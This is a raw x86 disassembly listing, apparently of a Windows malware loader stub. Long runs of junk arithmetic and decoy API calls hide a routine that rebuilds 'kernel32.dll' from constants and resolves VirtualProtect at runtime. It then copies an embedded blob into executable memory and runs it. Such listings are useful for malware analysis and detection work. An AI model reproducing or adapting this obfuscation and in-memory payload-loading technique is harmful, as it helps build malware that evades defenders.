sub dword [esp + 0x4c], 0x37af5b7
add dword [esp + 0x2a0], 0x79b267e6
add dword [esp + 0x30], 0x5a4bc10c
sub dword [esp + 0x28c], 0x384b5993
add dword [esp + 0x18c], 0x7e1cef5f
add dword [esp + 0x54], 0x395e806
sub dword [esp + 0x128], 0x726621d4
sub dword [esp + 0x348], 0x796507b5
add dword [esp + 0xb4], 0x493117d4
sub dword [esp + 0x60], 0x335440b4
add dword [esp + 0x32c], 0x41389bb8
add dword [esp + 0x31c], 0x1eac283f
add dword [esp + 0x224], 0x3f008f3f
add dword [esp + 0xe8], 0x618d16fa
add dword [esp + 0x3c], 0x4b15c2b1
sub dword [esp + 0x250], 0x65e97ca0
sub dword [esp + 0x44], 0x5c4b6e1c
add dword [esp + 0x224], 0x245115af
add dword [esp + 0x194], 0x5ace676
add dword [esp + 0x2e8], 0x2d32cecc
add dword [esp + 0x16c], 0x6fa2d61f
add dword [esp + 0x230], 0x13870205
add dword [esp + 0x1cc], 0x54e523df
add dword [esp + 0xb8], 0x56456f22
sub dword [esp + 0x314], 0x27d73873
add dword [esp + 0x258], 0x6efebbad
sub dword [esp + 0x1cc], 0x428917f
sub dword [esp + 0x17c], 0x4e78d395
sub dword [esp + 0xe0], 0x3b7e8f58
sub dword [esp + 0x31c], 0x7f39877c
add dword [esp + 0x224], 0x55da8b9b
sub dword [esp + 0x2a0], 0x55fc8f20
add dword [esp + 0x2a0], 0x78ac30ba
add dword [esp + 0x194], 0xca2b594
sub dword [esp + 0xe8], 0x78c621f1
sub dword [esp + 0x1f0], 0x5722a57
add dword [esp + 0x200], 0x2d49e278
add dword [esp + 0x200], 0x3ec6ed09
sub dword [esp + 0x54], 0x42bcaf18
sub dword [esp + 0x158], 0x485fc7cb
add dword [esp + 0x1dc], 0x1b545132
add dword [esp + 0x118], 0x19b75bf2
add dword [esp + 0x18c], 0x153df876
sub dword [esp + 0xfc], 0x7717298e
add dword [esp + 0x230], 0xbf1d7a1
add dword [esp + 0x44], 0x1ba70442
sub dword [esp + 0x2e8], 0x1958e63d
add dword [esp + 0x1bc], 0xd379b45
add dword [esp + 0x128], 0x53046689
add dword [esp + 0x4c], 0x7e116acc
sub dword [esp + 0x174], 0x22fffa2d
add dword [esp + 0x258], 0x48a2c6a1
sub dword [esp + 0xc0], 0x5b44c54e
add dword [esp + 0x38], 0xd5de98e
sub dword [esp + 0x2d8], 0x780aef4c
sub dword [esp + 0x104], 0x33f4cf58
add dword [esp + 0x118], 0x30f6f956
sub dword [esp + 0x314], 0x5299b6ff
sub dword [esp + 0x200], 0x49537878
add dword [esp + 0x29c], 0x4986be9c
sub dword [esp + 0x2e8], 0x475ca093
add dword [esp + 0x330], 0x25b4e2aa
add dword [esp + 0x2a0], 0x6afc4ae
add dword [esp + 0x120], 0x63011a54
sub dword [esp + 0x230], 0x2a72e2f7
add dword [esp + 0x10c], 0x3e6e94d7
add dword [esp + 0x274], 0x683392cd
add dword [esp + 0x88], 0x3b075a60
sub dword [esp + 0x1c], 0x249b91dd
sub dword [esp + 0x31c], 0x48ccb0b4
sub dword [esp + 0x284], 0x79cb3fec
sub dword [esp + 0x104], 0x120bda4d
add dword [esp + 0x1c], 0x670d008e
sub dword [esp + 0xf0], 0x68759a06
sub dword [esp + 0x334], 0x36ec6f60
add dword [esp + 0x338], 0xf3ed8e4
sub dword [esp + 0x1d8], 0x43e45e27
add dword [esp + 0x114], 0x264816de
add dword [esp + 0x314], 0x27f371b
add dword [esp + 0x128], 0x64e43478
sub dword [esp + 0xf0], 0x2611fb18
sub dword [esp + 0x294], 0x215e69d8
sub dword [esp + 0x31c], 0x6d2db290
sub dword [esp + 0x18c], 0x4914757e
add dword [esp + 0x2ac], 0x2bb51545
sub dword [esp + 0x274], 0x1bc2678d
add dword [esp + 0x138], 0x15b0df6b
sub dword [esp + 0x2c0], 0x4167e789
add dword [esp + 0x350], 0x343c9400
add dword [esp + 0x224], 0x1d12c55
sub dword [esp + 0x3c], 0x7f38c42c
sub dword [esp + 0x21c], 0x3cb96d40
add dword [esp + 0x258], 0x5a535b8e
add dword [esp + 0x2f8], 0x48878926
sub dword [esp + 0x21c], 0x2cdef766
sub dword [esp + 0x3c], 0x4c748d3d
sub dword [esp + 0x314], 0x79bfcfd8
add dword [esp + 0x224], 0x7375fbdc
sub dword [esp + 0x1c0], 0x7f22d352
add dword [esp + 0x160], 0x7b869de3
add dword [esp + 0x324], 0x30bb4a8c
sub dword [esp + 0x58], 0x7ecf1e23
add dword [esp + 0xc0], 0x5ddd2a98
sub dword [esp + 0x1d4], 0x75126922
sub dword [esp + 0x4c], 0x2c2715b5
add dword [esp + 0x118], 0x6a41eef5
add dword [esp + 0x160], 0xe8eecb9
sub dword [esp + 0x2a0], 0x2a1cbccc
sub dword [esp + 0x1d8], 0x60fdead
sub dword [esp + 0x1cc], 0x2706308e
add dword [esp + 0xe8], 0x702c93dd
add dword [esp + 0x16c], 0x6971d950
add dword [esp + 0x2c0], 0x6cc91eb1
add dword [esp + 0x138], 0x3c315e27
sub dword [esp + 0x1d4], 0x138db666
sub dword [esp + 0xe0], 0x3f34283b
add dword [esp + 0x124], 0x127c5f03
sub dword [esp + 0x90], 0x43835df1
add dword [esp + 0x2a4], 0x7a0e75cd
sub dword [esp + 0x250], 0x72fd2eee
add dword [esp + 0x1c4], 0x7e1f4a0a
sub dword [esp + 0x2d8], 0x4792edb6
sub dword [esp + 0x138], 0x72fb782a
add dword [esp + 0x1f0], 0x686beb30
add dword [esp + 0x2bc], 0x2c556603
sub dword [esp + 0x250], 0x54fd05f1
add dword [esp + 0x138], 0x7e89f291
sub dword [esp + 0x40], 0x41b81914
add dword [esp + 0xf0], 0x7169bdd7
sub dword [esp + 0x270], 0x526fef70
add dword [esp + 0x33c], 0x37f83d05
add dword [esp + 0x168], 0x2036e31d
add dword [esp + 0x274], 0x19989f71
sub dword [esp + 0x2b4], 0x46ed347
sub dword [esp + 0x2b4], 0x2ab6bd85
sub dword [esp + 0x32c], 0x39cd434
sub dword [esp + 0x200], 0x2ef65f4d
add dword [esp + 0x334], 0x40e05202
sub dword [esp + 0x338], 0x249f49c5
sub dword [esp + 0x120], 0x4268fbd3
add dword [esp + 0x60], 0xa528df8
sub dword [esp + 0x2c4], 0x31109e5d
add dword [esp + 0x1e0], 0x39855084
sub dword [esp + 0x118], 0x498257d2
sub dword [esp + 0x60], 0x4ece45b8
sub dword [esp + 0x1e4], 0x2f87dfc6
add dword [esp + 0x220], 0x248a24e3
sub dword [esp + 0x130], 0xaeec2c3
add dword [esp + 0x224], 0x54d752c4
add dword [esp + 0x40], 0x2c9785
add dword [esp + 0x11c], 0x4133f1b6
add dword [esp + 0x200], 0x214d2918
add dword [esp + 0x2ac], 0x747bdfe5
add dword [esp + 0x2c0], 0xf442ec5
add dword [esp + 0x358], 0xd289981
sub dword [esp + 0x3c], 0xb287394
sub dword [esp + 0x1bc], 0x359610b3
sub dword [esp + 0xf0], 0x3adc98ef
sub dword [esp + 0xc4], 0x64b7b7bc
add dword [esp + 0x220], 0x11223df3
add dword [esp + 0x344], 0x77273df5
add dword [esp + 0x1c4], 0x3bb01688
sub dword [esp + 0x284], 0x62dff75b
sub dword [esp + 0xbc], 0xee615c9
sub dword [esp + 0x5c], 0x21bee36a
add dword [esp + 0x230], 0x3087b5d0
add dword [esp + 0xc4], 0x5bb70293
add dword [esp + 0x5c], 0x5609bce0
sub dword [esp + 0x1c], 0x171462d7
add dword [esp + 0x1c0], 0x6e5b0861
add dword [esp + 0x2a0], 0x56e646fa
sub dword [esp + 0x58], 0x5b652c04
add dword [esp + 0x230], 0x771a528a
add dword [esp + 0x2c0], 0x7eb3c2b3
sub dword [esp + 0xcc], 0x32aef3fb
sub dword [esp + 0x220], 0x3697c61a
sub dword [esp + 0x1cc], 0x44dda5ef
sub dword [esp + 0xb8], 0x7a5a96b1
sub dword [esp + 0x250], 0xbc6a229
sub dword [esp + 0x1bc], 0x4124bb77
add dword [esp + 0x5c], 0x1f979f15
sub dword [esp + 0x68], 0x74d2c091
add dword [esp + 0x31c], 0x6ee5d292
add dword [esp + 0x218], 0x6aeaa5bb
sub dword [esp + 0x64], 0x668aa6b9
add dword [esp + 0xc4], 0x5950a344
sub dword [esp + 0x238], 0x5ab0fec8
add dword [esp + 0x40], 0x6584b92
add dword [esp + 0x11c], 0x5458d5cf
sub dword [esp + 0x294], 0x2a9e6234
sub dword [esp + 0xd4], 0x3dd972aa
add dword [esp + 0xb4], 0x41dc82d0
sub dword [esp + 0x138], 0x49850e71
add dword [esp + 0xf0], 0x72d7a741
add dword [esp + 0x194], 0x48a45ca7
sub dword [esp + 0x158], 0x19cc79a1
add dword [esp + 0xfc], 0xe16a09e
sub dword [esp + 0x6c], 0x1279fccc
sub dword [esp + 0x294], 0x3f73bfd8
add dword [esp + 0x230], 0x36aa8489
add dword [esp + 0x2b8], 0x755fcf3d
sub dword [esp + 0x64], 0x9eaa9ae
add dword [esp + 0x44], 0x5fbf4fc4
add dword [esp + 0xbc], 0x6ee4e76
sub dword [esp + 0x318], 0x7e4c603
add dword [esp + 0x22c], 0x742ba49d
add dword [esp + 0x22c], 0x4d8c6fa0
sub dword [esp + 0x118], 0x2852d246
sub dword [esp + 0x31c], 0x7f1e4933
add dword [esp + 0x2b0], 0x5848a089
sub dword [esp + 0xc4], 0x740be03f
sub dword [esp + 0x104], 0x41379ba8
sub dword [esp + 0x1e4], 0x36929f78
sub dword [esp + 0x90], 0x7e610c14
add dword [esp + 0x33c], 0x69f3d7a4
add dword [esp + 0x6c], 0x60c96fb8
sub dword [esp + 0xf8], 0x13fa8d83
add dword [esp + 0x3c], 0x7b476f24
add dword [esp + 0x348], 0x50d18314
sub dword [esp + 0x200], 0x6d7457b5
add dword [esp + 0x2e8], 0x5207112b
sub dword [esp + 0x60], 0x31a2e2c7
sub dword [esp + 0x28c], 0x109406b4
sub dword [esp + 0x2e8], 0x1e1a65df
sub dword [esp + 0x218], 0x7eecf1d5
add dword [esp + 0x334], 0x1783fe5c
sub dword [esp + 0x30], 0x5b680190
sub dword [esp + 0x230], 0x4ce362ca
sub dword [esp + 0xd4], 0x4018a65d
add dword [esp + 0xe8], 0x66b556ee
add dword [esp + 0x174], 0x5d96d48c
add dword [esp + 0x234], 0x2de36830
sub dword [esp + 0x170], 0x765ea672
sub dword [esp + 0x48], 0x5e6da9f2
sub dword [esp + 0x28c], 0x63f7a4fe
sub dword [esp + 0x2a0], 0x1258a13
add dword [esp + 0x48], 0x3496f7b9
add dword [esp + 0x2cc], 0x1476f585
add dword [esp + 0x318], 0x22cd4a8a
sub dword [esp + 0x1dc], 0x57fe9bde
sub dword [esp + 0x160], 0x439cc862
sub dword [esp + 0xc0], 0x7ea0a923
add dword [esp + 0x358], 0x7fcb9290
add dword [esp + 0x23c], 0x3e4c411f
sub dword [esp + 0x2b8], 0x399246ef
sub dword [esp + 0x278], 0x980cfbf
add dword [esp + 0x1c4], 0xac366e8
sub dword [esp + 0x4c], 0x3ac1e342
sub dword [esp + 0x118], 0x71cf20d1
add dword [esp + 0x220], 0x76042a36
add dword [esp + 0x2b4], 0xe5559bd
sub dword [esp + 0x28c], 0x5531395e
add dword [esp + 0x1cc], 0x536bc387
add dword [esp + 0x22c], 0x5d43abe0
add dword [esp + 0x33c], 0x7f17de13
add dword [esp + 0x330], 0x42245398
add dword [esp + 0x350], 0x46061be7
sub dword [esp + 0x2a4], 0x741cfb8f
xor ebx, ebx
mov dword [esp + 0xc], ebx
mov dword [esp + 0xc], 0x19eb2
add dword [esp + 0xc], 0x932
mov dword [esp + 0x368], ebx
mov dword [esp + 0x18], ebx
mov byte [esp + 0x13], 1
cmp dword [esp + 0x18], 0x15bf
jle 0x40fdb7
mov byte [esp + 0x13], bl
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp dword [esp + 0x18], ebx
jge 0x40fe6f
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x36c]
push 0x89900
push 0x71
push 0x6f699
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterW]
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x36c]
push 0x45a200
push str.suwofo_bolikuhubu_jojukalolijogagulucurukeyu
push 0x298b9c0
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
push 7
pop ecx
mov esi, str.royupohevelivu
lea edi, [esp + 0x458]
rep movsd dword es:[edi], dword [esi]
push 0x7e2
lea eax, [esp + 0x47a]
push ebx
push eax
movsw word es:[edi], word [esi]
call fcn.0040a540
add esp, 0xc
lea eax, [esp + 0x36c]
push eax
xor esi, esi
lea eax, [esp + 0x45c]
inc esi
push eax
mov dword [esp + 0x374], esi
push dword [esp + 0x374]
call dword [sym.imp.SHELL32.dll_ExtractAssociatedIconW]
cmp eax, 0x86ef
je 0x40ff32
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetAltTabInfoA]
push ebx
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ExtractIconW]
inc dword [esp + 0x18]
cmp byte [esp + 0x13], bl
jne 0x40fda3
xor esi, esi
lea eax, [esp + 0x444]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
lea eax, [esp + 0x36c]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetThreadSelectorEntry]
lea eax, [esp + 0x374]
push eax
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
cmp esi, 0x25543
jle 0x40fedd
cmp dword [esp + 0x444], 0x23b74f
je 0x40fedd
movzx eax, word [esp + 0x36c]
cmp eax, 0xf5e3204
je 0x40fedd
cmp dword [esp + 0x378], 0x5696a3
jne 0x40ff39
cmp dword [esp + 0x368], ebx
jne 0x40ff2c
push str.kernel
push 0x41e438
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.kernel32.dll
mov dword [0x41e438], 0x6e72656b
mov dword [0x41e43c], 0x32336c65
mov dword [0x41e440], 0x6c6c642e
mov byte [0x41e444], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [esp + 0x368], eax
inc esi
jmp 0x40fe7f
mov eax, esi
jmp 0x410036
lea eax, [esp + 0x398]
push eax
call fcn.0040175e
push str.VirtualProtect
push dword [esp + 0x36c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 0x3f8]
mov dword [0x41e838], eax
call fcn.004017c6
lea eax, [esp + 0x3f8]
push eax
mov dword [esp + 0x3fc], 0x417f58
call fcn.00402641
pop ecx
push ebx
push ebx
call dword [sym.imp.USER32.dll_EndPaint]
mov eax, dword [0x417dd0]
call fcn.0040d6eb
mov edi, dword [0x41d0bc]
xor esi, esi
cmp dword [esp + 0xc], ebx
jbe 0x410002
cmp esi, ebx
jne 0x40ffbf
push 0x40
push 0x1000
push dword [esp + 0x14]
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x41e840], eax
jmp 0x40ffc4
mov eax, dword [0x41e840]
mov cl, byte [edi + esi + 0x932]
mov byte [esi + eax], cl
cmp esi, 0x64
jne 0x40fffb
push 0x41e844
push 0x40
push dword [esp + 0x14]
push eax
call dword [0x41e838]
mov dword [esp + 0x18], ebx
mov dword [esp + 0x18], 0x20
mov eax, dword [esp + 0x18]
add eax, eax
mov dword [esp + 0x18], eax
inc esi
cmp esi, dword [esp + 0xc]
jb 0x40ffa2
push dword [esp + 0xc]
call fcn.0040d6f1
call fcn.0040d65a
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessVersion]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov eax, dword fs:[0x2c]
mov eax, dword [eax]
mov dword [eax + 4], 1
xor eax, eax
mov ecx, dword [esp + 0xc5c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00402eb0
mov esp, ebp
pop ebp
ret 0x10